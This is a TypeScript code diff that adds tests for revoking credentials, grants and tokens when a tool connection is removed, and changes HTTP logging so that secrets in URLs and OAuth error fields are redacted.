await tempDb?.cleanup();
|
||||
});
|
||||
|
||||
/** Connect a header-authenticated app and finish the wizard for one agent. */
|
||||
async function connectHeaderApp(companyId: string, agentId: string) {
|
||||
const service = toolAccessService(db);
|
||||
const connected = await service.connectGalleryApp(companyId, {
|
||||
link: MCP_URL,
|
||||
name: `Removal fixture ${randomUUID().slice(0, 8)}`,
|
||||
credentialValues: { [`headers.${HEADER.name}`]: HEADER.value },
|
||||
});
|
||||
const readEntry = connected.catalog.find((entry) => entry.toolName === "list_things")!;
|
||||
const finished = await service.finishGalleryAppConnection(companyId, connected.connectionId, {
|
||||
enabledCatalogEntryIds: [readEntry.id],
|
||||
askFirstCatalogEntryIds: [],
|
||||
access: { agentIds: [agentId] },
|
||||
}, { actorType: "user", actorId: "board-user" });
|
||||
await service.putConnectionInstalls(connected.connectionId, {
|
||||
installs: [{ targetType: "agent", targetId: agentId, enabled: true }],
|
||||
}, { actorType: "user", actorId: "board-user" });
|
||||
return { service, connectionId: connected.connectionId, readEntry, profile: finished.profile };
|
||||
}
|
||||
|
||||
it("revokes the custom-header credential and every access path it granted", async () => {
|
||||
installMcpFixture(HEADER);
|
||||
const company = await createCompany(db);
|
||||
const agent = await createAgent(db, company.id);
|
||||
const policy = toolAccessPolicyService(db);
|
||||
const { service, connectionId, readEntry, profile } = await connectHeaderApp(company.id, agent.id);
|
||||
|
||||
const [before] = await db.select().from(toolConnections).where(eq(toolConnections.id, connectionId));
|
||||
// One pasted header value is one secret, referenced twice: once as a header
|
||||
// credential ref and once as a secret ref.
|
||||
const secretIds = [...new Set([
|
||||
...before!.credentialRefs.map((ref) => ref.secretId),
|
||||
...before!.credentialSecretRefs.map((ref) => ref.secretId),
|
||||
])];
|
||||
expect(secretIds).toHaveLength(1);
|
||||
expect(before!.credentialRefs).toHaveLength(1);
|
||||
expect(before!.credentialSecretRefs).toHaveLength(1);
|
||||
// The credential really does resolve before removal, so the assertions after
|
||||
// it are measuring a change rather than a permanent failure.
|
||||
await expect(secretService(db).resolveSecretValue(company.id, secretIds[0]!, "latest", {
|
||||
consumerType: "tool_connection",
|
||||
consumerId: connectionId,
|
||||
configPath: `credentials.headers.${HEADER.name}`,
|
||||
actorType: "system",
|
||||
})).resolves.toBe(HEADER.value);
|
||||
await expect(policy.decide({
|
||||
companyId: company.id,
|
||||
actor: { actorType: "agent", actorId: agent.id, agentId: agent.id },
|
||||
request: { connectionId, catalogEntryId: readEntry.id, toolName: "list_things" },
|
||||
})).resolves.toMatchObject({ allowed: true });
|
||||
|
||||
const removed = await service.archiveConnection(connectionId, company.id, {
|
||||
actorType: "user",
|
||||
actorId: "board-user",
|
||||
});
|
||||
|
||||
expect(removed.connection).toMatchObject({ status: "archived", enabled: false });
|
||||
expect(removed.removal).toMatchObject({
|
||||
secretsRevoked: secretIds.length,
|
||||
secretsRetainedShared: 0,
|
||||
appProfile: "deleted",
|
||||
installsRemoved: 1,
|
||||
applicationArchived: true,
|
||||
});
|
||||
expect(removed.removal.credentialRefsCleared).toBeGreaterThan(0);
|
||||
expect(removed.removal.secretBindingsRemoved).toBeGreaterThan(0);
|
||||
expect(removed.removal.catalogEntriesMarkedRemoved).toBe(FIXTURE_TOOLS.length);
|
||||
|
||||
// No secret row, no version row, nothing resolvable.
|
||||
for (const secretId of secretIds) {
|
||||
expect(await db.select().from(companySecrets).where(eq(companySecrets.id, secretId))).toEqual([]);
|
||||
expect(await db.select().from(companySecretVersions).where(eq(companySecretVersions.secretId, secretId))).toEqual([]);
|
||||
await expect(secretService(db).resolveSecretValue(company.id, secretId, "latest", {
|
||||
consumerType: "tool_connection",
|
||||
consumerId: connectionId,
|
||||
configPath: `credentials.headers.${HEADER.name}`,
|
||||
actorType: "system",
|
||||
})).rejects.toMatchObject({ status: 404 });
|
||||
}
|
||||
expect(await db.select().from(companySecretBindings).where(and(
|
||||
eq(companySecretBindings.targetType, "tool_connection"),
|
||||
eq(companySecretBindings.targetId, connectionId),
|
||||
))).toEqual([]);
|
||||
|
||||
// No ref left on the connection to point at a credential.
|
||||
const [after] = await db.select().from(toolConnections).where(eq(toolConnections.id, connectionId));
|
||||
expect(after!.credentialRefs).toEqual([]);
|
||||
expect(after!.credentialSecretRefs).toEqual([]);
|
||||
|
||||
// No install, no app-managed profile, no profile entries or bindings.
|
||||
expect(await db.select().from(toolConnectionInstalls).where(eq(toolConnectionInstalls.connectionId, connectionId))).toEqual([]);
|
||||
expect(await db.select().from(toolProfiles).where(eq(toolProfiles.profileKey, `app:${connectionId}`))).toEqual([]);
|
||||
expect(await db.select().from(toolProfileEntries).where(eq(toolProfileEntries.profileId, profile.id))).toEqual([]);
|
||||
expect(await db.select().from(toolProfileBindings).where(eq(toolProfileBindings.profileId, profile.id))).toEqual([]);
|
||||
|
||||
// Catalog history survives, marked non-executable.
|
||||
const catalog = await db.select().from(toolCatalogEntries).where(eq(toolCatalogEntries.connectionId, connectionId));
|
||||
expect(catalog.length).toBe(FIXTURE_TOOLS.length);
|
||||
expect(catalog.every((entry) => entry.status === "removed")).toBe(true);
|
||||
|
||||
// And the agent is denied.
|
||||
await expect(policy.decide({
|
||||
companyId: company.id,
|
||||
actor: { actorType: "agent", actorId: agent.id, agentId: agent.id },
|
||||
request: { connectionId, catalogEntryId: readEntry.id, toolName: "list_things" },
|
||||
})).resolves.toMatchObject({ allowed: false });
|
||||
expect(await service.listConnectionInstalls(connectionId, company.id)).toEqual([]);
|
||||
});
|
||||
|
||||
it("revokes OAuth secrets, grant credentials and outstanding authorization state", async () => {
|
||||
installMcpFixture(HEADER);
|
||||
const company = await createCompany(db);
|
||||
const agent = await createAgent(db, company.id);
|
||||
const { service, connectionId } = await connectHeaderApp(company.id, agent.id);
|
||||
const secrets = secretService(db);
|
||||
|
||||
// Stand in for a completed sign-in: access and refresh tokens as dedicated
|
||||
// `tool_app.*` secrets, referenced by the connection and by a user grant.
|
||||
const accessSecret = await secrets.create(company.id, {
|
||||
name: `Removal access ${randomUUID().slice(0, 8)}`,
|
||||
key: `tool_app.${randomUUID()}.oauth_access_token`,
|
||||
provider: "local_encrypted",
|
||||
value: "oauth-access-token",
|
||||
});
|
||||
const refreshSecret = await secrets.create(company.id, {
|
||||
name: `Removal refresh ${randomUUID().slice(0, 8)}`,
|
||||
key: `tool_app.${randomUUID()}.oauth_refresh_token`,
|
||||
provider: "local_encrypted",
|
||||
value: "oauth-refresh-token",
|
||||
});
|
||||
const grantSecret = await secrets.create(company.id, {
|
||||
name: `Removal grant ${randomUUID().slice(0, 8)}`,
|
||||
key: `tool_app.${randomUUID()}.oauth_access_token`,
|
||||
provider: "local_encrypted",
|
||||
value: "grant-access-token",
|
||||
});
|
||||
const [existing] = await db.select().from(toolConnections).where(eq(toolConnections.id, connectionId));
|
||||
const headerSecretIds = existing!.credentialSecretRefs.map((ref) => ref.secretId);
|
||||
await service.updateConnection(connectionId, {
|
||||
credentialSecretRefs: [
|
||||
...existing!.credentialSecretRefs,
|
||||
{ secretId: accessSecret.id, versionSelector: "latest", configPath: "oauth.access_token", required: true, label: "OAuth access token" },
|
||||
{ secretId: refreshSecret.id, versionSelector: "latest", configPath: "oauth.refresh_token", required: false, label: "OAuth refresh token" },
|
||||
],
|
||||
});
|
||||
const [grant] = await db.insert(connectionGrants).values({
|
||||
companyId: company.id,
|
||||
connectionId,
|
||||
kind: "user",
|
||||
subjectUserId: "user-1",
|
||||
credentialSecretRefs: [
|
||||
{ secretId: grantSecret.id, versionSelector: "latest", configPath: "oauth.access_token", required: true, label: "OAuth access token" },
|
||||
],
|
||||
status: "active",
|
||||
}).returning();
|
||||
await db.insert(toolOauthStates).values({
|
||||
state: `state-${randomUUID()}`,
|
||||
companyId: company.id,
|
||||
connectionId,
|
||||
codeVerifier: "verifier",
|
||||
expiresAt: new Date(Date.now() + 600_000),
|
||||
});
|
||||
await db.insert(connectionTokenIssuances).values({
|
||||
companyId: company.id,
|
||||
connectionId,
|
||||
agentId: agent.id,
|
||||
path: "oauth_access",
|
||||
outcome: "success",
|
||||
tokenHash: "a".repeat(64),
|
||||
expiresAt: new Date(Date.now() + 600_000),
|
||||
});
|
||||
|
||||
const removed = await service.archiveConnection(connectionId, company.id);
|
||||
|
||||
expect(removed.removal).toMatchObject({
|
||||
secretsRevoked: headerSecretIds.length + 3,
|
||||
secretsRetainedShared: 0,
|
||||
grantsRevoked: 1,
|
||||
oauthStatesDiscarded: 1,
|
||||
tokenIssuanceHashesCleared: 1,
|
||||
});
|
||||
for (const secretId of [accessSecret.id, refreshSecret.id, grantSecret.id, ...headerSecretIds]) {
|
||||
expect(await db.select().from(companySecrets).where(eq(companySecrets.id, secretId))).toEqual([]);
|
||||
}
|
||||
const [grantAfter] = await db.select().from(connectionGrants).where(eq(connectionGrants.id, grant!.id));
|
||||
expect(grantAfter).toMatchObject({ status: "revoked", isDefault: false });
|
||||
expect(grantAfter!.revokedAt).not.toBeNull();
|
||||
expect(grantAfter!.credentialSecretRefs).toEqual([]);
|
||||
expect(await db.select().from(toolOauthStates).where(eq(toolOauthStates.connectionId, connectionId))).toEqual([]);
|
||||
const [issuance] = await db.select().from(connectionTokenIssuances).where(eq(connectionTokenIssuances.connectionId, connectionId));
|
||||
expect(issuance!.tokenHash).toBeNull();
|
||||
// The ledger row itself is history and stays.
|
||||
expect(issuance!.path).toBe("oauth_access");
|
||||
});
|
||||
|
||||
it("leaves another consumer's credential in place", async () => {
|
||||
installMcpFixture(HEADER);
|
||||
const company = await createCompany(db);
|
||||
const agent = await createAgent(db, company.id);
|
||||
const { service, connectionId } = await connectHeaderApp(company.id, agent.id);
|
||||
const secrets = secretService(db);
|
||||
|
||||
// Two secrets removal must not destroy: one the operator manages by hand
|
||||
// (outside the `tool_app.` namespace), and one dedicated-looking secret a
|
||||
// second connection also binds.
|
||||
const operatorSecret = await secrets.create(company.id, {
|
||||
name: `Operator managed ${randomUUID().slice(0, 8)}`,
|
||||
key: `shared_api_key_${randomUUID().slice(0, 8)}`,
|
||||
provider: "local_encrypted",
|
||||
value: "operator-managed-value",
|
||||
});
|
||||
const alsoUsedSecret = await secrets.create(company.id, {
|
||||
name: `Shared app secret ${randomUUID().slice(0, 8)}`,
|
||||
key: `tool_app.${randomUUID()}.headers_x_shared`,
|
||||
provider: "local_encrypted",
|
||||
value: "shared-app-value",
|
||||
});
|
||||
const [existing] = await db.select().from(toolConnections).where(eq(toolConnections.id, connectionId));
|
||||
await service.updateConnection(connectionId, {
|
||||
credentialSecretRefs: [
|
||||
...existing!.credentialSecretRefs,
|
||||
{ secretId: operatorSecret.id, versionSelector: "latest", configPath: "credentials.operator", required: false, label: "Operator key" },
|
||||
{ secretId: alsoUsedSecret.id, versionSelector: "latest", configPath: "credentials.shared", required: false, label: "Shared key" },
|
||||
],
|
||||
});
|
||||
|
||||
// A second connection referencing the same secret is the other consumer.
|
||||
const [otherApplication] = await db.insert(toolApplications).values({
|
||||
companyId: company.id,
|
||||
applicationKey: `other:${randomUUID()}`,
|
||||
name: `Other app ${randomUUID().slice(0, 8)}`,
|
||||
type: "mcp_http",
|
||||
status: "active",
|
||||
}).returning();
|
||||
const otherConnection = await service.createConnection(company.id, {
|
||||
applicationId: otherApplication!.id,
|
||||
name: `Other connection ${randomUUID().slice(0, 8)}`,
|
||||
transport: "mcp_remote",
|
||||
config: { url: MCP_URL },
|
||||
credentialSecretRefs: [
|
||||
{ secretId: alsoUsedSecret.id, versionSelector: "latest", configPath: "credentials.shared", required: false, label: "Shared key" },
|
||||
],
|
||||
});
|
||||
|
||||
const removed = await service.archiveConnection(connectionId, company.id);
|
||||
|
||||
expect(removed.removal.secretsRetainedShared).toBe(2);
|
||||
for (const secretId of [operatorSecret.id, alsoUsedSecret.id]) {
|
||||
const [row] = await db.select().from(companySecrets).where(eq(companySecrets.id, secretId));
|
||||
expect(row).toBeTruthy();
|
||||
expect(row!.status).not.toBe("deleted");
|
||||
}
|
||||
// The other consumer can still resolve its credential.
|
||||
await expect(secretService(db).resolveSecretValue(company.id, alsoUsedSecret.id, "latest", {
|
||||
consumerType: "tool_connection",
|
||||
consumerId: otherConnection.id,
|
||||
configPath: "credentials.shared",
|
||||
actorType: "system",
|
||||
})).resolves.toBe("shared-app-value");
|
||||
// Its binding survives; the removed connection's does not.
|
||||
expect(await db.select().from(companySecretBindings).where(and(
|
||||
eq(companySecretBindings.targetType, "tool_connection"),
|
||||
eq(companySecretBindings.targetId, connectionId),
|
||||
))).toEqual([]);
|
||||
expect((await db.select().from(companySecretBindings).where(and(
|
||||
eq(companySecretBindings.targetType, "tool_connection"),
|
||||
eq(companySecretBindings.targetId, otherConnection.id),
|
||||
))).length).toBeGreaterThan(0);
|
||||
// And the removed connection no longer points at either of them.
|
||||
const [after] = await db.select().from(toolConnections).where(eq(toolConnections.id, connectionId));
|
||||
expect(after!.credentialSecretRefs).toEqual([]);
|
||||
});
|
||||
|
||||
it("fails closed and stays resumable when the secret provider errors", async () => {
|
||||
installMcpFixture(HEADER);
|
||||
const company = await createCompany(db);
|
||||
const agent = await createAgent(db, company.id);
|
||||
const { service, connectionId, readEntry } = await connectHeaderApp(company.id, agent.id);
|
||||
const policy = toolAccessPolicyService(db);
|
||||
|
||||
const [before] = await db.select().from(toolConnections).where(eq(toolConnections.id, connectionId));
|
||||
const secretIds = before!.credentialSecretRefs.map((ref) => ref.secretId);
|
||||
expect(secretIds.length).toBeGreaterThan(0);
|
||||
|
||||
// Break provider deletion for the first attempt only. The registry hands out
|
||||
// this very object, so patching the method is enough.
|
||||
let failures = 0;
|
||||
const spy = vi.spyOn(localEncryptedProvider, "deleteOrArchive").mockImplementation(async () => {
|
||||
failures += 1;
|
||||
throw new Error("provider unavailable");
|
||||
});
|
||||
|
||||
await expect(service.archiveConnection(connectionId, company.id)).rejects.toThrow("provider unavailable");
|
||||
expect(failures).toBe(1);
|
||||
|
||||
// Failed closed: the app is already undispatchable and the credential is
|
||||
// already unresolvable, even though the provider copy survives.
|
||||
const [midway] = await db.select().from(toolConnections).where(eq(toolConnections.id, connectionId));
|
||||
expect(midway).toMatchObject({ status: "archived", enabled: false });
|
||||
expect(await db.select().from(toolConnectionInstalls).where(eq(toolConnectionInstalls.connectionId, connectionId))).toEqual([]);
|
||||
expect(await db.select().from(toolProfiles).where(eq(toolProfiles.profileKey, `app:${connectionId}`))).toEqual([]);
|
||||
await expect(policy.decide({
|
||||
companyId: company.id,
|
||||
actor: { actorType: "agent", actorId: agent.id, agentId: agent.id },
|
||||
request: { connectionId, catalogEntryId: readEntry.id, toolName: "list_things" },
|
||||
})).resolves.toMatchObject({ allowed: false });
|
||||
await expect(secretService(db).resolveSecretValue(company.id, secretIds[0]!, "latest", {
|
||||
consumerType: "tool_connection",
|
||||
consumerId: connectionId,
|
||||
configPath: `credentials.headers.${HEADER.name}`,
|
||||
actorType: "system",
|
||||
})).rejects.toMatchObject({ status: 404 });
|
||||
// The ref survives the failure on purpose: it is the only pointer a retry
|
||||
// has to the secret it still has to revoke.
|
||||
expect(midway!.credentialSecretRefs.length).toBeGreaterThan(0);
|
||||
|
||||
// Retrying the same removal finishes the job.
|
||||
spy.mockRestore();
|
||||
const removed = await service.archiveConnection(connectionId, company.id);
|
||||
expect(removed.removal.secretsRevoked).toBe(secretIds.length);
|
||||
expect(removed.removal.secretsRetainedShared).toBe(0);
|
||||
for (const secretId of secretIds) {
|
||||
expect(await db.select().from(companySecrets).where(eq(companySecrets.id, secretId))).toEqual([]);
|
||||
}
|
||||
const [after] = await db.select().from(toolConnections).where(eq(toolConnections.id, connectionId));
|
||||
expect(after!.credentialSecretRefs).toEqual([]);
|
||||
|
||||
// A third removal is a no-op that still succeeds.
|
||||
const again = await service.archiveConnection(connectionId, company.id);
|
||||
expect(again.removal).toMatchObject({
|
||||
secretsRevoked: 0,
|
||||
secretsRetainedShared: 0,
|
||||
installsRemoved: 0,
|
||||
appProfile: "absent",
|
||||
grantsRevoked: 0,
|
||||
});
|
||||
});
|
||||
|
||||
it("archives the app profile and revokes gateway tokens when a gateway still points at it", async () => {
|
||||
installMcpFixture(HEADER);
|
||||
const company = await createCompany(db);
|
||||
const agent = await createAgent(db, company.id);
|
||||
const { service, connectionId, profile } = await connectHeaderApp(company.id, agent.id);
|
||||
|
||||
const [gateway] = await db.insert(toolMcpGateways).values({
|
||||
companyId: company.id,
|
||||
name: `Gateway ${randomUUID().slice(0, 8)}`,
|
||||
slug: `gw-${randomUUID().slice(0, 8)}`,
|
||||
profileId: profile.id,
|
||||
status: "active",
|
||||
}).returning();
|
||||
const [token] = await db.insert(toolMcpGatewayTokens).values({
|
||||
companyId: company.id,
|
||||
gatewayId: gateway!.id,
|
||||
name: "client",
|
||||
tokenHash: randomUUID().replace(/-/g, "").padEnd(64, "0"),
|
||||
}).returning();
|
||||
|
||||
const removed = await service.archiveConnection(connectionId, company.id);
|
||||
|
||||
expect(removed.removal).toMatchObject({
|
||||
appProfile: "archived",
|
||||
gatewayTokensRevoked: 1,
|
||||
});
|
||||
const [profileAfter] = await db.select().from(toolProfiles).where(eq(toolProfiles.id, profile.id));
|
||||
// The row survives only because the gateway foreign key forbids deleting it;
|
||||
// a non-active profile with no entries is what the policy engine ignores.
|
||||
expect(profileAfter).toMatchObject({ status: "archived", defaultAction: "deny" });
|
||||
expect(await db.select().from(toolProfileEntries).where(eq(toolProfileEntries.profileId, profile.id))).toEqual([]);
|
||||
const [tokenAfter] = await db.select().from(toolMcpGatewayTokens).where(eq(toolMcpGatewayTokens.id, token!.id));
|
||||
expect(tokenAfter!.revokedAt).not.toBeNull();
|
||||
});
|
||||
|
||||
it("stops a live local runtime so no process keeps serving the revoked credential", async () => {
|
||||
installMcpFixture(HEADER);
|
||||
const company = await createCompany(db);
|
||||
const agent = await createAgent(db, company.id);
|
||||
const { service, connectionId } = await connectHeaderApp(company.id, agent.id);
|
||||
const [connection] = await db.select().from(toolConnections).where(eq(toolConnections.id, connectionId));
|
||||
|
||||
const [slot] = await db.insert(toolRuntimeSlots).values({
|
||||
companyId: company.id,
|
||||
applicationId: connection!.applicationId,
|
||||
connectionId,
|
||||
slotKey: `mcp:${company.id}:${connectionId}`,
|
||||
ownerScopeType: "connection",
|
||||
ownerScopeId: connectionId,
|
||||
runtimeKind: "local_stdio",
|
||||
status: "running",
|
||||
provider: "paperclip",
|
||||
healthStatus: "ok",
|
||||
}).returning();
|
||||
|
||||
const removed = await service.archiveConnection(connectionId, company.id);
|
||||
|
||||
expect(removed.removal.runtimeSlotsStopped).toBe(1);
|
||||
const [slotAfter] = await db.select().from(toolRuntimeSlots).where(eq(toolRuntimeSlots.id, slot!.id));
|
||||
expect(slotAfter!.status).toBe("stopped");
|
||||
expect(slotAfter!.metadata).toMatchObject({ stoppedReason: "connection_removed" });
|
||||
|
||||
// A second removal has nothing left to stop.
|
||||
const again = await service.archiveConnection(connectionId, company.id);
|
||||
expect(again.removal.runtimeSlotsStopped).toBe(0);
|
||||
});
|
||||
|
||||
it("removes over the route with a secret-free receipt, then requires fresh credentials to reconnect", async () => {
|
||||
installMcpFixture(HEADER);
|
||||
const company = await createCompany(db);
|
||||
const agent = await createAgent(db, company.id);
|
||||
const { service, connectionId } = await connectHeaderApp(company.id, agent.id);
|
||||
const app = createRouteApp(db);
|
||||
const [beforeRemoval] = await db.select().from(toolConnections).where(eq(toolConnections.id, connectionId));
|
||||
const originalSecretIds = beforeRemoval!.credentialSecretRefs.map((ref) => ref.secretId);
|
||||
expect(originalSecretIds.length).toBeGreaterThan(0);
|
||||
|
||||
const response = await request(app).delete(`/api/tool-connections/${connectionId}`).expect(200);
|
||||
|
||||
expect(response.body).toMatchObject({ id: connectionId, status: "archived", enabled: false });
|
||||
expect(response.body.removal).toMatchObject({ appProfile: "deleted", secretsRetainedShared: 0 });
|
||||
expect(response.body.removal.secretsRevoked).toBeGreaterThan(0);
|
||||
// Nothing in the response body echoes the pasted value or a secret name.
|
||||
expect(JSON.stringify(response.body)).not.toContain(HEADER.value);
|
||||
|
||||
const [receipt] = await db
|
||||
.select()
|
||||
.from(activityLog)
|
||||
.where(and(eq(activityLog.companyId, company.id), eq(activityLog.action, "tool_connection.archived")));
|
||||
expect(receipt!.details).toMatchObject({
|
||||
transport: "mcp_remote",
|
||||
appProfile: "deleted",
|
||||
secretsRetainedShared: 0,
|
||||
applicationArchived: true,
|
||||
});
|
||||
expect(Number((receipt!.details as Record<string, unknown>).secretsRevoked)).toBeGreaterThan(0);
|
||||
const receiptText = JSON.stringify(receipt!.details);
|
||||
expect(receiptText).not.toContain(HEADER.value);
|
||||
expect(receiptText).not.toContain("tool_app.");
|
||||
|
||||
// Reconnect cannot lean on a retained credential: the archived connection
|
||||
// refuses both reconnect and sign-in, and a fresh connect has to be given
|
||||
// new credential values.
|
||||
await expect(service.reconnectGalleryApp(connectionId, company.id, { credentialValues: {} }))
|
||||
.rejects.toMatchObject({ status: 409 });
|
||||
await expect(service.startOAuth(company.id, connectionId, {
|
||||
redirectUri: "https://paperclip.fixture.test/api/tools/oauth/callback",
|
||||
actor: { actorType: "user", actorId: "board-user" },
|
||||
})).rejects.toMatchObject({ status: 409 });
|
||||
|
||||
const [archived] = await db.select().from(toolConnections).where(eq(toolConnections.id, connectionId));
|
||||
const reconnected = await service.connectGalleryApp(company.id, {
|
||||
applicationId: archived!.applicationId,
|
||||
link: MCP_URL,
|
||||
name: archived!.name,
|
||||
credentialValues: { [`headers.${HEADER.name}`]: HEADER.value },
|
||||
});
|
||||
// Same connection identity, brand new credential.
|
||||
expect(reconnected.connectionId).toBe(connectionId);
|
||||
const [after] = await db.select().from(toolConnections).where(eq(toolConnections.id, connectionId));
|
||||
expect(after!.credentialSecretRefs.length).toBeGreaterThan(0);
|
||||
const reconnectedSecretIds = after!.credentialSecretRefs.map((ref) => ref.secretId);
|
||||
// Not one of the revoked secrets came back.
|
||||
for (const secretId of originalSecretIds) expect(reconnectedSecretIds).not.toContain(secretId);
|
||||
// And the operator has to choose access again — the app profile is not back.
|
||||
expect(await db.select().from(toolProfiles).where(eq(toolProfiles.profileKey, `app:${connectionId}`))).toEqual([]);
|
||||
expect(await service.listConnectionInstalls(connectionId, company.id)).toEqual([]);
|
||||
});
|
||||
});
|
||||
|
|
@ -209,8 +209,8 @@ async function createRemoteMcpTool(
|
|||
status: input.connectionStatus ?? "active",
|
||||
enabled: input.connectionEnabled ?? true,
|
||||
healthStatus: input.healthStatus ?? "ok",
|
||||
config: { url: input.url ?? "https://mcp.example.test/mcp" },
|
||||
transportConfig: { url: input.url ?? "https://mcp.example.test/mcp" },
|
||||
config: { url: input.url ?? "https://mcp.example.test/mcp", ...(input.connectionConfig ?? {}) },
|
||||
transportConfig: { url: input.url ?? "https://mcp.example.test/mcp", ...(input.connectionConfig ?? {}) },
|
||||
credentialRefs: input.credentialRefs ?? [],
|
||||
credentialSecretRefs: input.credentialSecretRefs ?? [],
|
||||
}).returning();
|
||||
|
|
@ -1455,6 +1455,7 @@ rl.on("line", (line) => {
|
|||
});
|
||||
const fake = await startFakeRemoteMcpServer((fakeRequest) => {
|
||||
expect(fakeRequest.headers.authorization).toBe(`Bearer ${credentialValue}`);
|
||||
expect(fakeRequest.headers["x-posthog-project-id"]).toBe("12345");
|
||||
const params = fakeRequest.body?.params as Record<string, unknown>;
|
||||
const args = params.arguments as Record<string, unknown>;
|
||||
return {
|
||||
|
|
@ -1490,6 +1491,16 @@ rl.on("line", (line) => {
|
|||
required: true,
|
||||
label: "Remote MCP token",
|
||||
}],
|
||||
connectionConfig: {
|
||||
sourceTemplateKey: "posthog",
|
||||
connectionMethodKey: "mcp-api-key",
|
||||
methodConfig: {
|
||||
projectId: "12345",
|
||||
readOnly: true,
|
||||
features: "insights",
|
||||
mode: "tools",
|
||||
},
|
||||
},
|
||||
});
|
||||
await allowAllToolsForAgent(db, company.id, agent.id);
|
||||
const gateway = createTestToolGatewayService(db);
|
||||
|
|
|
|||
|
|
@ -1,9 +1,9 @@
|
|||
import pino from "pino";
|
||||
import type { Logger } from "pino";
|
||||
import { pinoHttp } from "pino-http";
|
||||
import { HTTP_LOG_REDACT_PATHS } from "./http-log-redaction.js";
|
||||
import { shouldSilenceHttpSuccessLog } from "./http-log-policy.js";
|
||||
import { redactSensitive } from "./redact-sensitive.js";
|
||||
import { redactWorkspaceHandoffTicket } from "../auth/workspace-login-handoff.js";
|
||||
import { redactSensitive, stripSecretBearingUrlParts } from "./redact-sensitive.js";
|
||||
|
||||
const sharedOpts = {
|
||||
translateTime: "SYS:HH:MM:ss",
|
||||
|
|
@ -19,53 +19,63 @@ export const logger = isProduction
|
|||
options: { ...sharedOpts, ignore: "pid,hostname,req,res,responseTime", colorize: true, destination: 1 },
|
||||
}));
|
||||
|
||||
export const httpLogger = pinoHttp({
|
||||
logger,
|
||||
customLogLevel(_req, res, err) {
|
||||
if (shouldSilenceHttpSuccessLog(_req.method, _req.url, res.statusCode)) {
|
||||
return "silent";
|
||||
}
|
||||
if (err || res.statusCode >= 500) return "error";
|
||||
if (res.statusCode >= 400) return "warn";
|
||||
return "info";
|
||||
},
|
||||
customSuccessMessage(req, res) {
|
||||
// A workspace login handoff ticket is a bearer credential that rides in the
|
||||
// query string, so the request line has to be redacted before it is logged.
|
||||
return `${req.method} ${redactWorkspaceHandoffTicket(req.url ?? "")} ${res.statusCode}`;
|
||||
},
|
||||
customErrorMessage(req, res, err) {
|
||||
const ctx = (res as any).__errorContext;
|
||||
const errMsg = ctx?.error?.message || err?.message || (res as any).err?.message || "unknown error";
|
||||
return `${req.method} ${redactWorkspaceHandoffTicket(req.url ?? "")} ${res.statusCode} — ${errMsg}`;
|
||||
},
|
||||
customProps(req, res) {
|
||||
if (res.statusCode >= 400) {
|
||||
const ctx = (res as any).__errorContext;
|
||||
if (ctx) {
|
||||
export function createHttpLogger(baseLogger: Logger) {
|
||||
return pinoHttp({
|
||||
logger: baseLogger,
|
||||
serializers: {
|
||||
req(req: Record<string, unknown> & { url?: unknown }) {
|
||||
return {
|
||||
errorContext: ctx.error,
|
||||
reqBody: redactSensitive(ctx.reqBody),
|
||||
reqParams: redactSensitive(ctx.reqParams),
|
||||
reqQuery: redactSensitive(ctx.reqQuery),
|
||||
...req,
|
||||
url: typeof req.url === "string" ? stripSecretBearingUrlParts(req.url) : req.url,
|
||||
// The URL policy intentionally drops all query parameters. The default
|
||||
// serializer also exposes the parsed query separately, so omit that
|
||||
// duplicate path instead of letting credentials bypass the URL scrub.
|
||||
query: undefined,
|
||||
};
|
||||
},
|
||||
},
|
||||
customLogLevel(_req, res, err) {
|
||||
if (shouldSilenceHttpSuccessLog(_req.method, _req.url, res.statusCode)) {
|
||||
return "silent";
|
||||
}
|
||||
const props: Record<string, unknown> = {};
|
||||
const { body, params, query } = req as any;
|
||||
if (body && typeof body === "object" && Object.keys(body).length > 0) {
|
||||
props.reqBody = redactSensitive(body);
|
||||
if (err || res.statusCode >= 500) return "error";
|
||||
if (res.statusCode >= 400) return "warn";
|
||||
return "info";
|
||||
},
|
||||
customSuccessMessage(req, res) {
|
||||
return `${req.method} ${stripSecretBearingUrlParts(req.url ?? "")} ${res.statusCode}`;
|
||||
},
|
||||
customErrorMessage(req, res, err) {
|
||||
const ctx = (res as any).__errorContext;
|
||||
const errMsg = ctx?.error?.message || err?.message || (res as any).err?.message || "unknown error";
|
||||
return `${req.method} ${stripSecretBearingUrlParts(req.url ?? "")} ${res.statusCode} — ${errMsg}`;
|
||||
},
|
||||
customProps(req, res) {
|
||||
if (res.statusCode >= 400) {
|
||||
const ctx = (res as any).__errorContext;
|
||||
if (ctx) {
|
||||
return {
|
||||
errorContext: ctx.error,
|
||||
reqBody: redactSensitive(ctx.reqBody),
|
||||
reqParams: redactSensitive(ctx.reqParams),
|
||||
};
|
||||
}
|
||||
const props: Record<string, unknown> = {};
|
||||
const { body, params } = req as any;
|
||||
if (body && typeof body === "object" && Object.keys(body).length > 0) {
|
||||
props.reqBody = redactSensitive(body);
|
||||
}
|
||||
if (params && typeof params === "object" && Object.keys(params).length > 0) {
|
||||
props.reqParams = redactSensitive(params);
|
||||
}
|
||||
if ((req as any).route?.path) {
|
||||
props.routePath = (req as any).route.path;
|
||||
}
|
||||
return props;
|
||||
}
|
||||
if (params && typeof params === "object" && Object.keys(params).length > 0) {
|
||||
props.reqParams = redactSensitive(params);
|
||||
}
|
||||
if (query && typeof query === "object" && Object.keys(query).length > 0) {
|
||||
props.reqQuery = redactSensitive(query);
|
||||
}
|
||||
if ((req as any).route?.path) {
|
||||
props.routePath = (req as any).route.path;
|
||||
}
|
||||
return props;
|
||||
}
|
||||
return {};
|
||||
},
|
||||
});
|
||||
return {};
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
export const httpLogger = createHttpLogger(logger);
|
||||
|
|
|
|||
|
|
@ -49,6 +49,15 @@ const SENSITIVE_KEYS = new Set<string>([
|
|||
// credential carried as a query parameter, so it must never reach a log line
|
||||
// even though the exchange itself answers 302.
|
||||
"ticket",
|
||||
// Not secrets Paperclip holds, but attacker-authored prose: an OAuth provider
|
||||
// controls `error_description` / `error_uri` on the callback query string, and
|
||||
// `customProps` copies the whole query into 4xx log lines. Paperclip maps the
|
||||
// `error` code to its own copy instead of reflecting these, so they have no
|
||||
// debugging value here either (PAP-17108).
|
||||
"error_description",
|
||||
"errordescription",
|
||||
"error_uri",
|
||||
"erroruri",
|
||||
]);
|
||||
|
||||
const MAX_DEPTH = 6;
|
||||
|
|
@ -78,17 +87,20 @@ function isUrlishKey(key: string): boolean {
|
|||
return URLISH_KEYS.has(key.toLowerCase());
|
||||
}
|
||||
|
||||
function stripSecretBearingUrlParts(value: string): string {
|
||||
